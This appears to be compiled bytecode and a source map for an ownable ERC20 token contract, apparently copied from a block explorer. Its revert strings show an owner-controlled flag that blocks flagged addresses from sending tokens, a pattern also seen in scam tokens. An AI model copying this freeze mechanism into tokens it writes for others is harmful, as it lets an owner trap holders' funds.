038101906104af919061129c565b610be9565b6040516104c19190611415565b60405180910390f35b6104d2610c09565b6000600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60606004805461053c9061157d565b80601f01602080910402602001604051908101604052809291908181526020018280546105689061157d565b80156105b55780601f1061058a576101008083540402835291602001916105b5565b820191906000526020600020905b81548152906001019060200180831161059857829003601f168201915b5050505050905090565b60006105d36105cc610c87565b8484610c8f565b6001905092915050565b6000600354905090565b600760009054906101000a900460ff1681565b6000600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610689576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161068090611621565b60405180910390fd5b610694848484610e5a565b6000600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006106df610c87565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508281101561075f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610756906116b3565b60405180910390fd5b6107738561076b610c87565b858403610c8f565b60019150509392505050565b60006009905090565b600061082a610795610c87565b8484600260006107a3610c87565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546108259190611702565b610c8f565b6001905092915050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6108ab610c09565b6108b5600061116b565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600580546108ef9061157d565b80601f016020809104026020016040519081016040528092919081815260200182805461091b9061157d565b80156109685780601f1061093d57610100808354040283529160200191610968565b820191906000526020600020905b81548152906001019060200180831161094b57829003601f168201915b5050505050905090565b60008060026000610981610c87565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610a3e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a35906117ca565b60405180910390fd5b610a52610a49610c87565b85858403610c8f565b600191505092915050565b6000610a71610a6a610c87565b8484610e5a565b6001905092915050565b610a83610c09565b6001600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610b6d610c09565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610bdd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bd49061185c565b60405180910390fd5b610be68161116b565b50565b60086020528060005260406000206000915054906101000a900460ff1681565b610c11610c87565b73ffffffffffffffffffffffffffffffffffffffff16610c2f6108b7565b73ffffffffffffffffffffffffffffffffffffffff1614610c85576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c7c906118c8565b60405180910390fd5b565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610cff576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cf69061195a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d6f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d66906119ec565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610e4d919061143f565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610eca576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ec190611a7e565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610f3a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f3190611b10565b60405180910390fd5b600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610fc7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fbe90611ba2565b60405180910390fd5b610fd283838361122f565b6000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611059576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161105090611c34565b60405180910390fd5b818103600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546110ee9190611702565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611152919061143f565b60405180910390a3611165848484611234565b50505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b505050565b505050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006112698261123e565b9050919050565b6112798161125e565b811461128457600080fd5b50565b60008135905061129681611270565b92915050565b6000602082840312156112b2576112b1611239565b5b60006112c084828501611287565b91505092915050565b600081519050919050565b600082825260208201905092915050565b60005b838110156113035780820151818401526020810190506112e8565b83811115611312576000848401525b50505050565b6000601f19601f8301169050919050565b6000611334826112c9565b61133e81856112d4565b935061134e8185602086016112e5565b61135781611318565b840191505092915050565b6000602082019050818103600083015261137c8184611329565b905092915050565b6000819050919050565b61139781611384565b81146113a257600080fd5b50565b6000813590506113b48161138e565b92915050565b600080604083850312156113d1576113d0611239565b5b60006113df85828601611287565b92505060206113f0858286016113a5565b9150509250929050565b60008115159050919050565b61140f816113fa565b82525050565b600060208201905061142a6000830184611406565b92915050565b61143981611384565b82525050565b60006020820190506114546000830184611430565b92915050565b60008060006060848603121561147357611472611239565b5b600061148186828701611287565b935050602061149286828701611287565b92505060406114a3868287016113a5565b9150509250925092565b600060ff82169050919050565b6114c3816114ad565b82525050565b60006020820190506114de60008301846114ba565b92915050565b6114ed8161125e565b82525050565b600060208201905061150860008301846114e4565b92915050565b6000806040838503121561152557611524611239565b5b600061153385828601611287565b925050602061154485828601611287565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061159557607f821691505b602082108114156115a9576115a861154e565b5b50919050565b7f45524332303a20526563697069656e74206164647265737320497320696e766160008201527f6c69640000000000000000000000000000000000000000000000000000000000602082015250565b600061160b6023836112d4565b9150611616826115af565b604082019050919050565b6000602082019050818103600083015261163a816115fe565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b600061169d6028836112d4565b91506116a882611641565b604082019050919050565b600060208201905081810360008301526116cc81611690565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061170d82611384565b915061171883611384565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561174d5761174c6116d3565b5b828201905092915050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b60006117b46025836112d4565b91506117bf82611758565b604082019050919050565b600060208201905081810360008301526117e3816117a7565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b60006118466026836112d4565b9150611851826117ea565b604082019050919050565b6000602082019050818103600083015261187581611839565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006118b26020836112d4565b91506118bd8261187c565b602082019050919050565b600060208201905081810360008301526118e1816118a5565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006119446024836112d4565b915061194f826118e8565b604082019050919050565b6000602082019050818103600083015261197381611937565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b60006119d66022836112d4565b91506119e18261197a565b604082019050919050565b60006020820190508181036000830152611a05816119c9565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000611a686025836112d4565b9150611a7382611a0c565b604082019050919050565b60006020820190508181036000830152611a9781611a5b565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000611afa6023836112d4565b9150611b0582611a9e565b604082019050919050565b60006020820190508181036000830152611b2981611aed565b9050919050565b7f45524332303a20526563697069656e74206164647265737320697320496e766160008201527f6c69642000000000000000000000000000000000000000000000000000000000602082015250565b6000611b8c6024836112d4565b9150611b9782611b30565b604082019050919050565b60006020820190508181036000830152611bbb81611b7f565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b6000611c1e6026836112d4565b9150611c2982611bc2565b604082019050919050565b60006020820190508181036000830152611c4d81611c11565b905091905056fea2646970667358221220ad8fe08d82f28f35ff08711333e16b8d06877583319cfa4987d8460284c1317564736f6c63430008090033

Deployed Bytecode Sourcemap

6605:5040:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;7401:110;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;7517:100;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8416:169;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7831:108;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6947:28;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8591:574;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7733:92;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9171:215;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7031:28;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7945:127;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2561:103;;;;;;;;;;;;;:::i;:::-;;1920:87;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7623:104;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9392:413;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8078:175;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7289:106;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;8259:151;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2819:201;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6982:42;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7401:110;1806:13;:11;:13::i;:::-;7498:5:::1;7475:10;:20;7486:8;7475:20;;;;;;;;;;;;;;;;:28;;;;;;;;;;;;;;;;;;7401:110:::0;:::o;7517:100::-;7571:13;7604:5;7597:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;7517:100;:::o;8416:169::-;8499:4;8516:39;8525:12;:10;:12::i;:::-;8539:7;8548:6;8516:8;:39::i;:::-;8573:4;8566:11;;8416:169;;;;:::o;7831:108::-;7892:7;7919:12;;7912:19;;7831:108;:::o;6947:28::-;;;;;;;;;;;;;:::o;8591:574::-;8731:4;8757:10;:22;8768:10;8757:22;;;;;;;;;;;;;;;;;;;;;;;;;8756:23;8748:71;;;;;;;;;;;;:::i;:::-;;;;;;;;;8830:36;8840:6;8848:9;8859:6;8830:9;:36::i;:::-;8879:24;8906:11;:19;8918:6;8906:19;;;;;;;;;;;;;;;:33;8926:12;:10;:12::i;:::-;8906:33;;;;;;;;;;;;;;;;8879:60;;8978:6;8958:16;:26;;8950:79;;;;;;;;;;;;:::i;:::-;;;;;;;;;9065:57;9074:6;9082:12;:10;:12::i;:::-;9115:6;9096:16;:25;9065:8;:57::i;:::-;9153:4;9146:11;;;8591:574;;;;;:::o;7733:92::-;7791:5;7816:1;7809:8;;7733:92;:::o;9171:215::-;9259:4;9276:80;9285:12;:10;:12::i;:::-;9299:7;9345:10;9308:11;:25;9320:12;:10;:12::i;:::-;9308:25;;;;;;;;;;;;;;;:34;9334:7;9308:34;;;;;;;;;;;;;;;;:47;;;;:::i;:::-;9276:8;:80::i;:::-;9374:4;9367:11;;9171:215;;;;:::o;7031:28::-;;;;;;;;;;;;;:::o;7945:127::-;8019:7;8046:9;:18;8056:7;8046:18;;;;;;;;;;;;;;;;8039:25;;7945:127;;;:::o;2561:103::-;1806:13;:11;:13::i;:::-;2626:30:::1;2653:1;2626:18;:30::i;:::-;2561:103::o:0;1920:87::-;1966:7;1993:6;;;;;;;;;;;1986:13;;1920:87;:::o;7623:104::-;7679:13;7712:7;7705:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;7623:104;:::o;9392:413::-;9485:4;9502:24;9529:11;:25;9541:12;:10;:12::i;:::-;9529:25;;;;;;;;;;;;;;;:34;9555:7;9529:34;;;;;;;;;;;;;;;;9502:61;;9602:15;9582:16;:35;;9574:85;;;;;;;;;;;;:::i;:::-;;;;;;;;;9695:67;9704:12;:10;:12::i;:::-;9718:7;9746:15;9727:16;:34;9695:8;:67::i;:::-;9793:4;9786:11;;;9392:413;;;;:::o;8078:175::-;8164:4;8181:42;8191:12;:10;:12::i;:::-;8205:9;8216:6;8181:9;:42::i;:::-;8241:4;8234:11;;8078:175;;;;:::o;7289:106::-;1806:13;:11;:13::i;:::-;7383:4:::1;7360:10;:20;7371:8;7360:20;;;;;;;;;;;;;;;;:27;;;;;;;;;;;;;;;;;;7289:106:::0;:::o;8259:151::-;8348:7;8375:11;:18;8387:5;8375:18;;;;;;;;;;;;;;;:27;8394:7;8375:27;;;;;;;;;;;;;;;;8368:34;;8259:151;;;;:::o;2819:201::-;1806:13;:11;:13::i;:::-;2928:1:::1;2908:22;;:8;:22;;;;2900:73;;;;;;;;;;;;:::i;:::-;;;;;;;;;2984:28;3003:8;2984:18;:28::i;:::-;2819:201:::0;:::o;6982:42::-;;;;;;;;;;;;;;;;;;;;;;:::o;2085:132::-;2160:12;:10;:12::i;:::-;2149:23;;:7;:5;:7::i;:::-;:23;;;2141:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;2085:132::o;629:98::-;682:7;709:10;702:17;;629:98;:::o;10999:380::-;11152:1;11135:19;;:5;:19;;;;11127:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;11233:1;11214:21;;:7;:21;;;;11206:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;11317:6;11287:11;:18;11299:5;11287:18;;;;;;;;;;;;;;;:27;11306:7;11287:27;;;;;;;;;;;;;;;:36;;;;11355:7;11339:32;;11348:5;11339:32;;;11364:6;11339:32;;;;;;:::i;:::-;;;;;;;;10999:380;;;:::o;9811:810::-;9969:1;9951:20;;:6;:20;;;;9943:70;;;;;;;;;;;;:::i;:::-;;;;;;;;;10053:1;10032:23;;:9;:23;;;;10024:71;;;;;;;;;;;;:::i;:::-;;;;;;;;;10115:10;:18;10126:6;10115:18;;;;;;;;;;;;;;;;;;;;;;;;;10114:19;10106:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;10185:47;10206:6;10214:9;10225:6;10185:20;:47::i;:::-;10245:21;10269:9;:17;10279:6;10269:17;;;;;;;;;;;;;;;;10245:41;;10322:6;10305:13;:23;;10297:74;;;;;;;;;;;;:::i;:::-;;;;;;;;;10443:6;10427:13;:22;10407:9;:17;10417:6;10407:17;;;;;;;;;;;;;;;:42;;;;10495:6;10471:9;:20;10481:9;10471:20;;;;;;;;;;;;;;;;:30;;;;;;;:::i;:::-;;;;;;;;10536:9;10519:35;;10528:6;10519:35;;;10547:6;10519:35;;;;;;:::i;:::-;;;;;;;;10567:46;10587:6;10595:9;10606:6;10567:19;:46::i;:::-;9932:689;9811:810;;;:::o;3180:191::-;3254:16;3273:6;;;;;;;;;;;3254:25;;3299:8;3290:6;;:17;;;;;;;;;;;;;;;;;;3354:8;3323:40;;3344:8;3323:40;;;;;;;;;;;;3243:128;3180:191;:::o;11385:125::-;;;;:::o;11516:124::-;;;;:::o;88:117:1:-;197:1;194;187:12;334:126;371:7;411:42;404:5;400:54;389:65;;334:126;;;:::o;466:96::-;503:7;532:24;550:5;532:24;:::i;:::-;521:35;;466:96;;;:::o;568:122::-;641:24;659:5;641:24;:::i;:::-;634:5;631:35;621:63;;680:1;677;670:12;621:63;568:122;:::o;696:139::-;742:5;780:6;767:20;758:29;;796:33;823:5;796:33;:::i;:::-;696:139;;;;:::o;841:329::-;900:6;949:2;937:9;928:7;924:23;920:32;917:119;;;955:79;;:::i;:::-;917:119;1075:1;1100:53;1145:7;1136:6;1125:9;1121:22;1100:53;:::i;:::-;1090:63;;1046:117;841:329;;;;:::o;1176:99::-;1228:6;1262:5;1256:12;1246:22;;1176:99;;;:::o;1281:169::-;1365:11;1399:6;1394:3;1387:19;1439:4;1434:3;1430:14;1415:29;;1281:169;;;;:::o;1456:307::-;1524:1;1534:113;1548:6;1545:1;1542:13;1534:113;;;1633:1;1628:3;1624:11;1618:18;1614:1;1609:3;1605:11;1598:39;1570:2;1567:1;1563:10;1558:15;;1534:113;;;1665:6;1662:1;1659:13;1656:101;;;1745:1;1736:6;1731:3;1727:16;1720:27;1656:101;1505:258;1456:307;;;:::o;1769:102::-;1810:6;1861:2;1857:7;1852:2;1845:5;1841:14;1837:28;1827:38;;1769:102;;;:::o;1877:364::-;1965:3;1993:39;2026:5;1993:39;:::i;:::-;2048:71;2112:6;2107:3;2048:71;:::i;:::-;2041:78;;2128:52;2173:6;2168:3;2161:4;2154:5;2150:16;2128:52;:::i;:::-;2205:29;2227:6;2205:29;:::i;:::-;2200:3;2196:39;2189:46;;1969:272;1877:364;;;;:::o;2247:313::-;2360:4;2398:2;2387:9;2383:18;2375:26;;2447:9;2441:4;2437:20;2433:1;2422:9;2418:17;2411:47;2475:78;2548:4;2539:6;2475:78;:::i;:::-;2467:86;;2247:313;;;;:::o;2566:77::-;2603:7;2632:5;2621:16;;2566:77;;;:::o;2649:122::-;2722:24;2740:5;2722:24;:::i;:::-;2715:5;2712:35;2702:63;;2761:1;2758;2751:12;2702:63;2649:122;:::o;2777:139::-;2823:5;2861:6;2848:20;2839:29;;2877:33;2904:5;2877:33;:::i;:::-;2777:139;;;;:::o;2922:474::-;2990:6;2998;3047:2;3035:9;3026:7;3022:23;3018:32;3015:119;;;3053:79;;:::i;:::-;3015:119;3173:1;3198:53;3243:7;3234:6;3223:9;3219:22;3198:53;:::i;:::-;3188:63;;3144:117;3300:2;3326:53;3371:7;3362:6;3351:9;3347:22;3326:53;:::i;:::-;3316:63;;3271:118;2922:474;;;;;:::o;3402:90::-;3436:7;3479:5;3472:13;3465:21;3454:32;;3402:90;;;:::o;3498:109::-;3579:21;3594:5;3579:21;:::i;:::-;3574:3;3567:34;3498:109;;:::o;3613:210::-;3700:4;3738:2;3727:9;3723:18;3715:26;;3751:65;3813:1;3802:9;3798:17;3789:6;3751:65;:::i;:::-;3613:210;;;;:::o;3829:118::-;3916:24;3934:5;3916:24;:::i;:::-;3911:3;3904:37;3829:118;;:::o;3953:222::-;4046:4;4084:2;4073:9;4069:18;4061:26;;4097:71;4165:1;4154:9;4150:17;4141:6;4097:71;:::i;:::-;3953:222;;;;:::o;4181:619::-;4258:6;4266;4274;4323:2;4311:9;4302:7;4298:23;4294:32;4291:119;;;4329:79;;:::i;:::-;4291:119;4449:1;4474:53;4519:7;4510:6;4499:9;4495:22;4474:53;:::i;:::-;4464:63;;4420:117;4576:2;4602:53;4647:7;4638:6;4627:9;4623:22;4602:53;:::i;:::-;4592:63;;4547:118;4704:2;4730:53;4775:7;4766:6;4755:9;4751:22;4730:53;:::i;:::-;4720:63;;4675:118;4181:619;;;;;:::o;4806:86::-;4841:7;4881:4;4874:5;4870:16;4859:27;;4806:86;;;:::o;4898:112::-;4981:22;4997:5;4981:22;:::i;:::-;4976:3;4969:35;4898:112;;:::o;5016:214::-;5105:4;5143:2;5132:9;5128:18;5120:26;;5156:67;5220:1;5209:9;5205:17;5196:6;5156:67;:::i;:::-;5016:214;;;;:::o;5236:118::-;5323:24;5341:5;5323:24;:::i;:::-;5318:3;5311:37;5236:118;;:::o;5360:222::-;5453:4;5491:2;5480:9;5476:18;5468:26;;5504:71;5572:1;5561:9;5557:17;5548:6;5504:71;:::i;:::-;5360:222;;;;:::o;5588:474::-;5656:6;5664;5713:2;5701:9;5692:7;5688:23;5684:32;5681:119;;;5719:79;;:::i;:::-;5681:119;5839:1;5864:53;5909:7;5900:6;5889:9;5885:22;5864:53;:::i;:::-;5854:63;;5810:117;5966:2;5992:53;6037:7;6028:6;6017:9;6013:22;5992:53;:::i;:::-;5982:63;;5937:118;5588:474;;;;;:::o;6068:180::-;6116:77;6113:1;6106:88;6213:4;6210:1;6203:15;6237:4;6234:1;6227:15;6254:320;6298:6;6335:1;6329:4;6325:12;6315:22;;6382:1;6376:4;6372:12;6403:18;6393:81;;6459:4;6451:6;6447:17;6437:27;;6393:81;6521:2;6513:6;6510:14;6490:18;6487:38;6484:84;;;6540:18;;:::i;:::-;6484:84;6305:269;6254:320;;;:::o;6580:222::-;6720:34;6716:1;6708:6;6704:14;6697:58;6789:5;6784:2;6776:6;6772:15;6765:30;6580:222;:::o;6808:366::-;6950:3;6971:67;7035:2;7030:3;6971:67;:::i;:::-;6964:74;;7047:93;7136:3;7047:93;:::i;:::-;7165:2;7160:3;7156:12;7149:19;;6808:366;;;:::o;7180:419::-;7346:4;7384:2;7373:9;7369:18;7361:26;;7433:9;7427:4;7423:20;7419:1;7408:9;7404:17;7397:47;7461:131;7587:4;7461:131;:::i;:::-;7453:139;;7180:419;;;:::o;7605:227::-;7745:34;7741:1;7733:6;7729:14;7722:58;7814:10;7809:2;7801:6;7797:15;7790:35;7605:227;:::o;7838:366::-;7980:3;8001:67;8065:2;8060:3;8001:67;:::i;:::-;7994:74;;8077:93;8166:3;8077:93;:::i;:::-;8195:2;8190:3;8186:12;8179:19;;7838:366;;;:::o;8210:419::-;8376:4;8414:2;8403:9;8399:18;8391:26;;8463:9;8457:4;8453:20;8449:1;8438:9;8434:17;8427:47;8491:131;8617:4;8491:131;:::i;:::-;8483:139;;8210:419;;;:::o;8635:180::-;8683:77;8680:1;8673:88;8780:4;8777:1;8770:15;8804:4;8801:1;8794:15;8821:305;8861:3;8880:20;8898:1;8880:20;:::i;:::-;8875:25;;8914:20;8932:1;8914:20;:::i;:::-;8909:25;;9068:1;9000:66;8996:74;8993:1;8990:81;8987:107;;;9074:18;;:::i;:::-;8987:107;9118:1;9115;9111:9;9104:16;;8821:305;;;;:::o;9132:224::-;9272:34;9268:1;9260:6;9256:14;9249:58;9341:7;9336:2;9328:6;9324:15;9317:32;9132:224;:::o;9362:366::-;9504:3;9525:67;9589:2;9584:3;9525:67;:::i;:::-;9518:74;;9601:93;9690:3;9601:93;:::i;:::-;9719:2;9714:3;9710:12;9703:19;;9362:366;;;:::o;9734:419::-;9900:4;9938:2;9927:9;9923:18;9915:26;;9987:9;9981:4;9977:20;9973:1;9962:9;9958:17;9951:47;10015:131;10141:4;10015:131;:::i;:::-;10007:139;;9734:419;;;:::o;10159:225::-;10299:34;10295:1;10287:6;10283:14;10276:58;10368:8;10363:2;10355:6;10351:15;10344:33;10159:225;:::o;10390:366::-;10532:3;10553:67;10617:2;10612:3;10553:67;:::i;:::-;10546:74;;10629:93;10718:3;10629:93;:::i;:::-;10747:2;10742:3;10738:12;10731:19;;10390:366;;;:::o;10762:419::-;10928:4;10966:2;10955:9;10951:18;10943:26;;11015:9;11009:4;11005:20;11001:1;10990:9;10986:17;10979:47;11043:131;11169:4;11043:131;:::i;:::-;11035:139;;10762:419;;;:::o;11187:182::-;11327:34;11323:1;11315:6;11311:14;11304:58;11187:182;:::o;11375:366::-;11517:3;11538:67;11602:2;11597:3;11538:67;:::i;:::-;11531:74;;11614:93;11703:3;11614:93;:::i;:::-;11732:2;11727:3;11723:12;11716:19;;11375:366;;;:::o;11747:419::-;11913:4;11951:2;11940:9;11936:18;11928:26;;12000:9;11994:4;11990:20;11986:1;11975:9;11971:17;11964:47;12028:131;12154:4;12028:131;:::i;:::-;12020:139;;11747:419;;;:::o;12172:223::-;12312:34;12308:1;12300:6;12296:14;12289:58;12381:6;12376:2;12368:6;12364:15;12357:31;12172:223;:::o;12401:366::-;12543:3;12564:67;12628:2;12623:3;12564:67;:::i;:::-;12557:74;;12640:93;12729:3;12640:93;:::i;:::-;12758:2;12753:3;12749:12;12742:19;;12401:366;;;:::o;12773:419::-;12939:4;12977:2;12966:9;12962:18;12954:26;;13026:9;13020:4;13016:20;13012:1;13001:9;12997:17;12990:47;13054:131;13180:4;13054:131;:::i;:::-;13046:139;;12773:419;;;:::o;13198:221::-;13338:34;13334:1;13326:6;13322:14;13315:58;13407:4;13402:2;13394:6;13390:15;13383:29;13198:221;:::o;13425:366::-;13567:3;13588:67;13652:2;13647:3;13588:67;:::i;:::-;13581:74;;13664:93;13753:3;13664:93;:::i;:::-;13782:2;13777:3;13773:12;13766:19;;13425:366;;;:::o;13797:419::-;13963:4;14001:2;13990:9;13986:18;13978:26;;14050:9;14044:4;14040:20;14036:1;14025:9;14021:17;14014:47;14078:131;14204:4;14078:131;:::i;:::-;14070:139;;13797:419;;;:::o;14222:224::-;14362:34;14358:1;14350:6;14346:14;14339:58;14431:7;14426:2;14418:6;14414:15;14407:32;14222:224;:::o;14452:366::-;14594:3;14615:67;14679:2;14674:3;14615:67;:::i;:::-;14608:74;;14691:93;14780:3;14691:93;:::i;:::-;14809:2;14804:3;14800:12;14793:19;;14452:366;;;:::o;14824:419::-;14990:4;15028:2;15017:9;15013:18;15005:26;;15077:9;15071:4;15067:20;15063:1;15052:9;15048:17;15041:47;15105:131;15231:4;15105:131;:::i;:::-;15097:139;;14824:419;;;:::o;15249:222::-;15389:34;15385:1;15377:6;15373:14;15366:58;15458:5;15453:2;15445:6;15441:15;15434:30;15249:222;:::o;15477:366::-;15619:3;15640:67;15704:2;15699:3;15640:67;:::i;:::-;15633:74;;15716:93;15805:3;15716:93;:::i;:::-;15834:2;15829:3;15825:12;15818:19;;15477:366;;;:::o;15849:419::-;16015:4;16053:2;16042:9;16038:18;16030:26;;16102:9;16096:4;16092:20;16088:1;16077:9;16073:17;16066:47;16130:131;16256:4;16130:131;:::i;:::-;16122:139;;15849:419;;;:::o;16274:223::-;16414:34;16410:1;16402:6;16398:14;16391:58;16483:6;16478:2;16470:6;16466:15;16459:31;16274:223;:::o;16503:366::-;16645:3;16666:67;16730:2;16725:3;16666:67;:::i;:::-;16659:74;;16742:93;16831:3;16742:93;:::i;:::-;16860:2;16855:3;16851:12;16844:19;;16503:366;;;:::o;16875:419::-;17041:4;17079:2;17068:9;17064:18;17056:26;;17128:9;17122:4;17118:20;17114:1;17103:9;17099:17;17092:47;17156:131;17282:4;17156:131;:::i;:::-;17148:139;;16875:419;;;:::o;17300:225::-;17440:34;17436:1;17428:6;17424:14;17417:58;17509:8;17504:2;17496:6;17492:15;17485:33;17300:225;:::o;17531:366::-;17673:3;17694:67;17758:2;17753:3;17694:67;:::